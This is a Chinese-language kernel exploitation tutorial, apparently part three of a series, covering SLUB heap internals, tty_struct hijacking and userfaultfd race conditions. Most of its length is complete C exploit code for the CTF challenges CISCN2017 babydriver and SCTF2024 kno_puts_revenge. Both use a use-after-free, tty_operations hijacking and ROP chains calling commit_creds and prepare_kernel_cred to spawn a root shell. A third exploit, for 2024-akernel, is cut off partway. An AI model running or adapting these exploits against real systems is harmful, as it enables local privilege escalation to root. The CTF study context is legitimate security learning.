kernel从小白到大神(三)

前言:上一章主要是攻击栈方面和保护的认识/绕过,这章开始堆方面的攻击和结构体利用。附件下载:https://pan.quark.cn/s/e92c31e5349f

kernel中最常见的分配函数

void *kmalloc(size_t size, gfp_t gfp);

有大小的同时还需要跟着内核内存分配的标志;

内核内存分配标志

GFP_KERNEL

GFP(get free pages),内存分配器的一个标志(flag),分配内存的方式和限制条件。

允许阻塞,当GFP_KERNEL分配内存时,分配过程可以阻塞当前进程,如果内存不够,阻塞当前进程等待其他进程释放内存或者内核触发内存回收。

可以触发内存回收:当系统内存不够时,内核可以启动内存回收机制来释放内存

void *buffer = kmalloc(1024, GFP_KERNEL);

GFP_HARDWALL

强制内存分配只从当前进程所在的NUMA节点分配内存,减少节点内存访问,某些情况会提高性能,一般再需要严格控制内存分配位置使用。

GFP_USER(==UFP_KERNEL|GEP_HARDWALL)

面向用户内存分配,通常用于用户空间内存请求。

GFP_NOWARN

进行内存分配的时候也不要向系统日志输出警告信息。

GFP_KERNEL_ACCOUNT

使用 GFP_KERNEL_ACCOUNT 分配的内存会被记入内存控制组的内存使用账单,从而使得内存控制组可以精确追踪这些分配的内存,适用于需要严格控制内存分配的环境。表示该对象与来自用户空间的数据相关联

GFP_KERNEL和GFP_KERNEL_ACCOUNT为最常见的分配flag,一般情况下申请的都是kmalloc-xx。

sudo cat /proc/slabinfo

编译内核时如果开启CONFIG_MEMCG_KMEM(默认开启)后,使用GFP_KERNEL_ACCOUNT分配对象不在为kmalloc-xx,而是kmalloc-cg-xx

从而达到隔离两种flag申请的堆块。

内核内存管理

linux kernel中主要有两个内存管理器:buddy system、slab allocator。buddy system负责以内存页为粒度管理所有可用物理内存,slab allocator向buddy system请求内存页以划分为多个object进行更细致的内存管理。在linux kernel中内存架构为:页->区->节点

这是一张十分经典的 Overview ,自顶向下是

  • 节点(node,对应结构体 pgdata_list)
  • 区(zone,对应结构体 zone,图上展示了三种类型的 zone)
  • 页(page,对应结构体 page)

简单概述一下slab allocator有三个版本slab、slob、slub,现在大多数linux使用的是slub版本,基本架构如下图所示

slub allocator会向 buddy system 请求内存页(slub)以划分为多个object,每个object可以理解为用户态glibc中的chunk,每个object是被分配的实例,在slub的内存页对应的page结构体上的freelist指向该内存页的第一个空闲对象,对象采用单链表形式串联,可以理解为tcache bin,因为page结构体和物理内存采用线性关系,所以object并没有用户态chunk的header。这样的线性关系就可以通过object地址直接找到对应page的结构体。

slub allocator申请/释放:

申请:

if kmem_cache_cpu==有空闲空间 :return object
if partial !=null:
    '''
    从partial链表取slub挂载到kmem_cache_cpu上
    '''
    return object
'向buddy system申请新内存页,为kmem_cache_cpu划分object'
return object

释放:

if object==Is kmem_cache_cpu:头插法当前 cpu slub->freelist
if object==Is kmem_cache_node partial:头插法slub->freelist
if object==full slub:头插法插入,slub被放置partial链表

内核堆利用时的绑定核

slub allocator会优先从当前核心的kmem_cache_cpu中进行内存分配,在多核cpu架构下存在多个kmem_cache_cpu,因为进程调度等影响会影响exp运行时在不同核心申请堆块,就比较麻烦,为了利用稳定性,直接将该进程绑定到一个cpu核心上。

#include <sched.h>

/* to run the exp on the specific core only */
void bind_cpu(int core)
{
    cpu_set_t cpu_set;//声明cpu核心的集合

    CPU_ZERO(&cpu_set);     //清空所有位
    CPU_SET(core, &cpu_set);    //编号添加
    /* 系统调用 __NR_sched_setaffinity 强制cpu在指定core核心上运行 */
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);     
}

结构体

结构体工具pahole

使用pahole能更好的看清楚结构体中的详细大小以及偏移

tty结构体利用

基本概念

tty(终端设备的统称):原本是一个物理机器通过串行总线与计算机连接完成输入输出的功能,现在tty都是采用软件仿真的模拟视频终端。终端和控制台还是有区别的,控制台是计算机自带的设备,计算器启动的时候所有信息会显示在控制台(console)上,不会显示在终端上,一个计算机只有一个控制台,是计算机的基本设备,而终端是附加的设备。现在终端变为键盘+显示器,把内容输出到显示器,只需要把内容写入到显示器对应的tty设备就可以,tty层只要匹配驱动完成输出。

pty(虚拟终端):xshell连接主机的终端都是虚拟终端pty,包括打开的linux的terminal,是 伪终端master 和伪终端 slave 这一对字符设备,其中的 slave 对应 /dev/pts/ 目录下的一个文件,而 master 则在内存中标识为一个文件描述符(fd),伪终端通过打开/dev/ptmx 文件创建了一个伪终端的 master 和 slave 对,并让 shell 运行在 slave 端。当用户在伪终端中按下键盘按键时,它产生字节流并写入 master 中,shell 进程便可从 slave 中读取输入;shell 和它的子程序,将输出内容写入 slave 中,由终端模拟软件负责将字符打印到窗口中。

/dev/ptmx 是一个字符设备文件,主要用于打开一对伪终端设备,当打开该文件后,进程同时获得到一个指向 新伪终端master设备(PTM) 的文件描述符和一个在 /dev/pts 目录创建的新伪终端slave设备(PTS)。

tty结构体(kmalloc-1k | GFP_KERNEL_ACCOUNT)

执行open("/dev/ptmx", flags)会分配一个tty结构体,tty结构体的大小为0x2e0。

打开一个tty设备文件时候,会调用alloc_tty_struct函数来申请一个tty结构体。

代码位于drivers/tty/tty_io.c

v5.11.1内核源码

在v5.18内核之前使用的tty申请flag为GFP_KERNEL,在之后为tty分配空间使用flag就为GFP_KERNEL_ACCOUNT

v5.18源码定义

结构体定义位于include/linux/tty.h

struct tty_struct {
    int magic;  //0x5401 通过magic可以定位到tty结构体
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;

    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;

    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    /*
     * Writes protected by both ctrl lock and legacy mutex, readers must use
     * at least one of them.
     */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;

    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;

第五个字段const struct tty_operations *ops;结构体是多个函数指针的集合

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    int  (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
    int  (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
数据泄露

泄露.text地址,tty_operations 会被初始化为全局变量 ptm_unix98_ops 或 pty_unix98_ops。

劫持执行流

篡改tty在堆上申请的空间,并且劫持const struct tty_operations *ops;,指向我们伪造的结构体,然后利用ioctl、write等操作就能劫持rip。

劫持tty结构体的时候,对tty_operations不熟悉可以直接使用内核的报错来看具体的调用指针

size_t fake_tty_operation[0x20] = {
         0xffffffff00000000,
         0xffffffff00000001,
         0xffffffff00000002,
         0xffffffff00000003,
         0xffffffff00000004,
         0xffffffff00000005,
         0xffffffff00000006,
         0xffffffff00000007,
         0xffffffff00000008,
         0xffffffff00000009,
         0xffffffff0000000a,
         0xffffffff0000000b,
         0xffffffff0000000c,
   };

userfaultfd

userfaultfd 是 Linux 内核中引入的一种机制,允许用户空间程序处理页面故障(page faults),从而实现更灵活的内存管理。

图片来自(userfaultfd 的使用 - CTF Wiki (ctf-wiki.org))

Faulting Thread:

  • Faulting thread 是指当前发生页面故障的线程。当一个线程尝试访问一个不在物理内存中的页面时,内核会触发一个页面故障,并在此线程中处理该故障。
  • 该线程可能会导致内核进入一个异常状态,处理这个页面故障的流程将由内核负责。

MM Core (Memory Management Core):

  • MM Core 是 Linux 内核中用于内存管理的核心组件,负责管理进程的虚拟内存空间。
  • 它处理内存分配、释放、页面置换等,确保进程的虚拟地址空间能够正确映射到物理内存或者存储设备上。

Userfaultfd:

  • userfaultfd 是一个系统调用,用于创建一个文件描述符,用户可以通过这个描述符来监控和处理页面故障。
  • 当一个程序注册了一个 userfaultfd 描述符后,内核会在发生页面故障时,将故障信息发送到该描述符,允许用户空间程序决定如何处理页面故障。

UFFD Monitor (Userfaultfd Monitor):

  • UFFD Monitor 是用户空间线程,用于处理 userfaultfd 描述符发出的事件。
  • 当某个线程发生页面故障时,内核会向 UFFD Monitor 通知,这个监视线程会读取 userfaultfd 文件描述符,接收到页面故障事件后,然后再执行相应的处理逻辑。

默认userfaultfd在5.11及以后需要特权用户才能使用

userfaultfd机制整体流程

  • 当一个线程(Faulting Thread)尝试访问一个缺失的页面或匿名空间时,内核会触发页面故障,并利用 MM Core 进行处理。
  • 如果程序注册了 userfaultfd,内核会将故障事件发送到 UFFD Monitor(用户空间处理)。
  • UFFD Monitor 线程会读取故障信息,并可以根据应用程序的逻辑来恢复页面,完成操作。

通过这种机制,userfaultfd 提供了更灵活的内存管理方式,使得部分复杂的内存操作可以在用户空间中处理,而不仅仅依赖内核。

通过这个机制我们可以控制进程执行流程的先后顺序,从而使得对条件竞争的利用成功率大幅提高

比如有一个堆都没有读写锁的时候

  1. 使用copy_from_user(heap_addr, user_addr, len),用户地址传入匿名空间地址,这个时候会发生页面异常处理,调用我们注册的线程函数执行自定义功能
  2. 使用kfree(heap_addr)释放堆,然后执行open("/dev/ptmx",flags)或其他结构体,占用原本堆的地址
  3. 第一步的线程自定义功能开始执行,执行copy数据到原来的堆地址

这样就利用userfaultfd机制利用条件竞争完成uaf从而劫持结构体

userfaultfd利用流程

首先要注册userfaultfd

typedef struct __attribute__((aligned(16)))
{
   size_t uffd;//存储用户错误处理文件描述符
   struct uffdio_api uapi;//userfault 的api
   struct uffdio_register uregister;//注册的模式和范围
}reg_user,*p_imgae_reg;

void Register_Userfalutfd(void* addr,size_t length,void* (*handler)(void*)){
   reg_user reguser={0};
   p_imgae_reg preg=&reguser;
   preg->uffd=syscall(__NR_userfaultfd,__O_CLOEXEC|O_NONBLOCK);//创建用户错误描述符
   if(preg->uffd<0){
      errExit("__NR_userfaultfd");
   }
   preg->uapi.api=UFFD_API;
   preg->uapi.features=0;
   if(ioctl(preg->uffd,UFFDIO_API,&preg->uapi)<0)errExit("ioctl ->UFFDIO_API");//api检查
   preg->uregister.mode=UFFDIO_REGISTER_MODE_MISSING;//模式为缺页
   preg->uregister.range.start=addr;//起始地址
   preg->uregister.range.len=length;//长度
    //UFFDIO_REGISTER注册错误处理模式和范围
   if(ioctl(preg->uffd,UFFDIO_REGISTER,&preg->uregister)<0)errExit("ioctl -> UFFDIO_REGISTER");
    //启动用户自定义处理函数线程
   pthread_t thread;
   if(pthread_create(&thread,NULL,handler,(void*)preg->uffd)<0)errExit("pthread_create handler");
}

用户处理错误的函数

void Userfault_Handler(int uffd){
   struct uffd_msg msg={0};
   struct uffdio_copy ufcopy={0};
   size_t* data=(size_t*)mmap(NULL,0x1000,3,0x20|0x2,-1,0);
   if(data<0)errExit("Userfault_Handler mmap");
    /*data 赋值*/
   do
   {

      struct pollfd pf={0};
      pf.fd=uffd;//监视的文件描述符
      pf.events=POLLIN;//可读事件
      poll(&pf,1,-1);/*使用poll监视uffd文件描述符*/
      read(uffd,&msg,sizeof(msg));//读取错误信息
      if(msg.event<=0){
         printf("event NULL");
         continue;
      }
      puts("sem step 0");//使用信号量来控制执行顺序
      sem_post(&sem[0]);
      sem_wait(&sem[1]);
      puts("sem step 1");
      ufcopy.dst=msg.arg.pagefault.address & ~(sysconf(_SC_PAGE_SIZE)-1);//页面错误地址,做了页面对其处理
      ufcopy.src=data;//要写入数据的地址
      ufcopy.len=sysconf(_SC_PAGE_SIZE);//长度为页大小
      ioctl(uffd,UFFDIO_COPY,&ufcopy);//页面复制,将数据从src复制到dst
      sem_post(&sem[2]);
      puts("sem step 2");
      break;

   } while (1);

}

CISCN2017 - babydriver

手法利用:UAF+tty劫持

ioctl中就一个申请堆的操作,可控制申请大小

在释放的时候留有uaf

write和read就是常规操作

因为使用全局变量,打开两个设备配合uaf释放就能控制被释放的堆,进而去劫持tty设备,并且没有开kpti和smap可以利用用户空间写入rop

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char


size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
size_t __ksymtab_commit_creds=0,__ksymtab_prepare_kernel_cred=0;
void save_status();
size_t find_symbols();
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
size_t cvegetbase();
int dev_fd;

const char* FileAttack="/dev/babydev\0";

int main(void){
    save_status();
    BLUE;puts("[*]start");CLOSE;
   find_symbols();
   dev_fd = open(FileAttack,2);
    if(dev_fd < 0){
        errExit(FileAttack);
    }
    int fd=open(FileAttack,2);
   ioctl(dev_fd,0x10001,0x2e0);
   char buf[0x100]={0};
   read(fd,buf,0x100);
   binary_dump("heap",buf,0x100); 
   close(dev_fd);
   int tty_fd=open("/dev/ptmx",2);
   read(fd,buf,0x100);
   binary_dump("tty",buf,0x100); 
   showAddr(vmlinux_base)
   showAddr(prepare_kernel_cred)
   showAddr(init_cred)
   size_t offset=vmlinux_base-raw_vmlinux_base;
   showAddr(offset)
      size_t fake_tty_operation[0x20] = {
         0xffffffff00000000,
         0xffffffff00000001,
         0xffffffff00000002,
         0xffffffff00000003,
         0xffffffff00000004,
         0xffffffff00000005,
         0xffffffff00000006,
         0xffffffff00000007,
         0xffffffff00000008,
         0xffffffff00000009,
         0xffffffff0000000a,
         0xffffffff0000000b,
         0xffffffff81154d2a+offset
   };
   size_t* ptr=(size_t*)buf;
   ptr[3]=fake_tty_operation;
   write(fd,buf,0x100);

   size_t rop[]={
      0,
      0xffffffff810d238d+offset,
      init_cred,
      commit_creds,
      0xffffffff81063694+offset,
      0,
      0xffffffff814e35ef+offset,
      getshell,
      user_cs,
      user_rflags,
      user_sp,
      user_ss
   };
   ioctl(tty_fd,0,rop);
   BLUE;puts("[*]end");CLOSE;
   return 0;
}
/*
0xffffffff810d238d : pop rdi ; ret
0xffffffff81154d2a : push rdx ; mov edx, 0x415b0028 ; pop rsp ; pop rbp ; ret
0xffffffff81063694 : swapgs ; pop rbp ; ret
0xffffffff814e35ef : 4dcfc3
*/

void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}


void binary_dump(char *desc, void *addr, int len) {
    _QWORD *buf64 = (_QWORD *) addr;
    _BYTE *buf8 = (_BYTE *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

size_t find_symbols(){
   const char* FILESYM="/proc/kallsyms\0";
   FILE* kallsyms_fd = fopen(FILESYM,"r");
   if(kallsyms_fd < 0){
      errExit(FILESYM);
   }

   char buf[0x30] = {0};
   while(fgets(buf,0x30,kallsyms_fd)){
      //find vmlinux_base
      if(strstr(buf,"_text") && !vmlinux_base){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&vmlinux_base);
         showAddr(vmlinux_base);
      }
      //find commit_creds
      if(strstr(buf,"commit_creds") && !commit_creds){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&commit_creds);
         showAddr(commit_creds);
         size_t commit_creds_offset=commit_creds-vmlinux_base;
         showAddr(commit_creds_offset);
      }

      //find prepare_kernel_cred
      if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&prepare_kernel_cred);
         showAddr(prepare_kernel_cred);
         size_t prepare_kernel_cred_offset=prepare_kernel_cred-vmlinux_base;
         showAddr(prepare_kernel_cred_offset);
      }
      if(strstr(buf,"swapgs_restore_regs") && !swapgs_restore_regs_and_return_to_usermode){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&swapgs_restore_regs_and_return_to_usermode);
         showAddr(swapgs_restore_regs_and_return_to_usermode);
         size_t swapgs_restore_regs_and_return_to_usermode_offset=swapgs_restore_regs_and_return_to_usermode-vmlinux_base;
         showAddr(swapgs_restore_regs_and_return_to_usermode_offset);      
      }
      if(strstr(buf,"D init_cred") && !init_cred){
         char hex[20] = {0};
         strncpy(hex,buf,16);
         sscanf(hex,"%llx",&init_cred);
         showAddr(init_cred);
         size_t init_cred_offset=init_cred-vmlinux_base;
         showAddr(init_cred_offset);      
      }

   }
   if(!swapgs_restore_regs_and_return_to_usermode){
      RED;printf("not found swapgs_restore_regs_and_return_to_usermode");CLOSE;
   }
   if(!init_cred){
      RED;printf("not found init_cred");CLOSE;
   }

} 

void getshell(void)
{   
    BLUE;printf("[*]Successful");CLOSE;
    system("/bin/sh");
}

void _showAddr(char*name,size_t data){
   GREEN;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
   RED;printf("[X] Error : %s !",msg);CLOSE;
   exit(-1);
}

SCTF2024-kno_puts_revenge

手法利用:userfaultfd+tty劫持

采用随机数登入验证,但是可以溢出到判断的flags绕过检查,之后两个功能一个申请0x2e0大小的chunk,申请完数据直接给user,直接泄露了堆的地址,还有一个是释放堆

在write中直接复制user数据给堆

因为都没使用读写锁,可以利用userfaultfd,因为给了堆地址,还需要内核基地址,使用CVE泄露基地址,然后利用userfaultfd劫持tty结构体

先申请匿名空间,然后调用copy_from_user造成缺页,这个时候会进入Userfault_Handler进行用户自定义缺页处理,在这里先停下,先执行释放堆并open("/dev/ptmx",2);,在原来的堆地址被替换为tty,然后继续执行UFFDIO_COPY操作,往tty结构体复制数据,从而劫持执行流。

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);

size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status();
size_t find_symbols();
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
size_t cvegetbase();
int dev_fd;

sem_t sem[3];
size_t heap_addr;


typedef struct __attribute__((aligned(16)))
{
   size_t uffd;
   struct uffdio_api uapi;
   struct uffdio_register uregister;
}reg_user,*p_imgae_reg;

void Register_Userfalutfd(void* addr,size_t length,void* (*handler)(void*)){
   YELLOW;printf("Register_Userfalutfd START");CLOSE;
   reg_user reguser={0};
   p_imgae_reg preg=&reguser;
   preg->uffd=syscall(__NR_userfaultfd,__O_CLOEXEC|O_NONBLOCK);
   if(preg->uffd<0){
      errExit("__NR_userfaultfd");
   }
   preg->uapi.api=UFFD_API;
   preg->uapi.features=0;
   if(ioctl(preg->uffd,UFFDIO_API,&preg->uapi)<0)errExit("ioctl ->UFFDIO_API");
   preg->uregister.mode=UFFDIO_REGISTER_MODE_MISSING;
   preg->uregister.range.start=addr;
   preg->uregister.range.len=length;
   if(ioctl(preg->uffd,UFFDIO_REGISTER,&preg->uregister)<0)errExit("ioctl -> UFFDIO_REGISTER");
   pthread_t thread;
   if(pthread_create(&thread,NULL,handler,(void*)preg->uffd)<0)errExit("pthread_create handler");
   YELLOW;printf("Register_Userfalutfd END");CLOSE;
}

void Userfault_Handler(int uffd){
   RED;printf("Userfault_Handler START");CLOSE;
   struct uffd_msg msg={0};
   struct uffdio_copy ufcopy={0};
   size_t* data=(size_t*)mmap(NULL,0x1000,3,0x20|0x2,-1,0);
   if(data<0)errExit("Userfault_Handler mmap");
   size_t offset=vmlinux_base-raw_vmlinux_base;
   size_t rop[0x20]={
         0xffffffff81003e98+offset,
         0,
         prepare_kernel_cred,
         0xffffffff81025c18+offset,
         0,
         commit_creds,
         swapgs_restore_regs_and_return_to_usermode+0x31,
         0,
         0,
         getshell,
         user_cs,
         user_rflags,
         user_sp,
         user_ss
   };
   int idx=20;
   data[0]=0x0000000100005401;
   data[1]=0;
   data[2]=heap_addr;
   data[3]=heap_addr;
   data[4]=heap_addr+(0x8*20);
   data[12]=0xffffffff81572fb3+offset;
   showAddr(data[12]);
   for (size_t i = 0; i < 20; i++)
   {
      data[idx++]=rop[i];
   }

 /*
 rcx=0 rdx=data
0xffffffff81572fb3 : push qword ptr [rcx + rdx + 0x31] ; rcr byte ptr [rbx + 0x5d], 0x41 ; pop rsp ; ret
0xffffffff81003e98 : pop rdi ; ret
0xffffffff81025c18 : mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
 */  
   do
   {
      struct pollfd pf={0};
      pf.fd=uffd;
      pf.events=POLLIN;
      poll(&pf,1,-1);
      read(uffd,&msg,sizeof(msg));
      if(msg.event<=0){
         printf("event NULL");
         continue;
      }
      RED;printf("sem step 0");CLOSE;
      sem_post(&sem[0]);
      sem_wait(&sem[1]);
      RED;printf("sem step 1");CLOSE;
      ufcopy.dst=msg.arg.pagefault.address & ~(sysconf(_SC_PAGE_SIZE)-1);
      ufcopy.src=data;
      ufcopy.len=sysconf(_SC_PAGE_SIZE);
      ioctl(uffd,UFFDIO_COPY,&ufcopy);
      sem_post(&sem[2]);
      RED;printf("sem step 2");CLOSE;
      break;

   } while (1);



   RED;printf("Userfault_Handler END");CLOSE;
}
int FILE_spary[20];

char passwd[64]={0};
void uaf(){
   size_t* ptr=(size_t*)(passwd+32);
   ptr[1]=0;
   sem_wait(&sem[0]);
   ioctl(dev_fd,0xFFF1,passwd);
   for (int i = 0; i < 20; i++)
   {
      FILE_spary[i]=open("/dev/ptmx",2);
   }
   sem_post(&sem[1]);
}


const char* FILESYM="/tmp/kallsyms\0";
const char* FileAttack="/dev/ksctf\0";

int main(void){
    save_status();
    BLUE;puts("[*]start");CLOSE;
    dev_fd = open(FileAttack,2);
    if(dev_fd < 0){
        errExit(FileAttack);
    }
   memset(passwd,0,64);
   passwd[32]=1;
   size_t* ptr=(size_t*)(passwd+32);
   ptr[0]=1;
   ptr[1]=passwd;
   ioctl(dev_fd,0xFFF0,passwd);
   heap_addr=*(size_t*)passwd;
   showAddr(heap_addr);
   vmlinux_base= cvegetbase();
   showAddr(vmlinux_base);
   prepare_kernel_cred=vmlinux_base+0x98140;
   commit_creds=vmlinux_base+0x97d00;
   swapgs_restore_regs_and_return_to_usermode=vmlinux_base+0xc00a74;

   sem_init(&sem[0],0,0);
   sem_init(&sem[1],0,0);
   sem_init(&sem[2],0,0);


   size_t map=mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|0X20,-1,0);
   Register_Userfalutfd(map,0x1000,Userfault_Handler);
   pthread_t threadUAF;
   if(pthread_create(&threadUAF,0,(void* (*)(void*))uaf,0)<0)errExit("main pthread_create uaf");
   write(dev_fd,map,0x2e0);
   sem_wait(&sem[2]);
   getchar();
   for (size_t i = 0; i < 20; i++)
   {
      ioctl(FILE_spary[i],0,heap_addr+(-0x31+0x8*4));
   }

   BLUE;puts("[*]end");CLOSE;
   return 0;
}


void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}
size_t cvegetbase(){
   char buf[0x208]={0};
   int fd=open("/sys/kernel/notes",0);
   read(fd,buf,0x200);
   size_t cveaddr=*(size_t*)(buf+(0xa0-0x4));
   cveaddr-=0x2000;
   GREEN;printf("[*] %s -> 0x%llx ","cveaddr",cveaddr);CLOSE;
   return cveaddr;
}


void getshell(void)
{   
    BLUE;printf("[*]Successful");CLOSE;
    system("/bin/sh");
}

void _showAddr(char*name,size_t data){
   BLUE;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
   RED;printf("[X] Error : %s !",msg);CLOSE;
   exit(-1);
}

2024-akernel

手法利用:userfaultfd+tty劫持+cpu_entry_area固定地址泄露基地址

一样开了userfaultfd

ioctl中有释放和申请chunk的操作大小为0x2e0

还有0xff04时在堆上写入地址,在后面read通过该地址读取数据

read和write都是常规操作

在cpu_entry_area地址上存放着存放的内核基地址,并且cpu_entry_area不受kaslr影响,始终固定。

利用固定地址泄露出内核基地址然后泄露出驱动的地址,利用驱动地址泄露出heap的地址,然后利用userfaultfd,这里把kaslr关了做的,后续会补充kaslr做法

#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");


size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status();
size_t find_symbols();
void showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
sem_t sem[3];
size_t heap_addr;
const char* FILESYM="/tmp/kallsyms\0";
const char* FileAttack="/dev/akernel\0";
int dev_fd;

typedef struct __attribute__((aligned(16)))
{
   size_t uffd;
   struct uffdio_api uapi;
   struct uffdio_register uregister;
}reg_user,*p_imgae_reg;

void Register_Userfalutfd(void* addr,size_t length,void* (*handler)(void*)){
   YELLOW;printf("Register_Userfalutfd START");CLOSE;
   reg_user reguser={0};
   p_imgae_reg preg=&reguser;
